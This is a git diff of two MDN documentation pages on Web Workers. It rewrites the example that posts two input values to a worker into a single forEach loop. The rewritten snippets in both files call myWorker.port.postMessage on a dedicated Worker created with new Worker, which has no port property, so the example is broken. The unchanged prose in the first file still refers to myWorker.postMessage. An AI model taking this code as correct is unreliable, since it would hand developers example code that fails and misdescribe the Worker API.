b/files/en-us/web/api/web_workers_api/using_web_workers/index.md index be92ea3b1417230..65f1f3521ed32f9 100644 --- a/files/en-us/web/api/web_workers_api/using_web_workers/index.md +++ b/files/en-us/web/api/web_workers_api/using_web_workers/index.md @@ -66,15 +66,12 @@ const myWorker = new Worker("worker.js"); The magic of workers happens via the {{domxref("Worker.postMessage", "postMessage()")}} method and the {{domxref("Worker.message_event", "onmessage")}} event handler. When you want to send a message to the worker, you post messages to it like this ([main.js](https://github.com/mdn/dom-examples/blob/main/web-workers/simple-web-worker/main.js)): ```js -first.onchange = () => { - myWorker.postMessage([first.value, second.value]); - console.log("Message posted to worker"); -}; - -second.onchange = () => { - myWorker.postMessage([first.value, second.value]); - console.log("Message posted to worker"); -}; +[first, second].forEach((input) => { + input.onchange = () => { + myWorker.port.postMessage([first.value, second.value]); + console.log("Message posted to worker"); + }; +}); ``` So here we have two {{htmlelement("input")}} elements represented by the variables `first` and `second`; when the value of either is changed, `myWorker.postMessage([first.value,second.value])` is used to send the value inside both to the worker, as an array. You can send pretty much anything you like in the message. diff --git a/files/en-us/web/api/worker/postmessage/index.md b/files/en-us/web/api/worker/postmessage/index.md index 7b70c942696d9b7..fb464e60447b495 100644 --- a/files/en-us/web/api/worker/postmessage/index.md +++ b/files/en-us/web/api/worker/postmessage/index.md @@ -48,15 +48,12 @@ The following code snippet shows the creation of a {{domxref("Worker")}} object ```js const myWorker = new Worker("worker.js"); -first.onchange = () => { - myWorker.postMessage([first.value, second.value]); - console.log("Message posted to worker"); -}; - -second.onchange = () => { - myWorker.postMessage([first.value, second.value]); - console.log("Message posted to worker"); -}; +[first, second].forEach((input) => { + input.onchange = () => { + myWorker.port.postMessage([first.value, second.value]); + console.log("Message posted to worker"); + }; +}); ``` For a full example, see our [simple worker example](https://github.com/mdn/dom-examples/tree/main/web-workers/simple-web-worker) ([run example](https://mdn.github.io/dom-examples/web-workers/simple-web-worker/)).